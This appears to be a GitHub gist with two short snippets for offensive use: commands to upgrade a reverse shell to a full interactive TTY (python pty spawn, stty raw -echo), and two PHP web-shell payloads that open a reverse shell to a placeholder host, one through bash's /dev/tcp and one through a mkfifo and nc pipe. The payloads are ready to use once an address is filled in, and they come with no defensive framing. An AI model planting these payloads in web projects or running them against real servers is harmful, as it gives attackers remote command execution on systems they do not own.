This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #in reverse shell | |
| python3 -c 'import pty; pty.spawn("/bin/bash")' | |
| #suspend shell | |
| [ctrl+z] | |
| #map host tty to remote tty and bring suspended shell to foreground | |
| stty raw -echo && fg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/123 0>&1'"); | |
| #another one | |
| <?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 123 >/tmp/f"); ?> |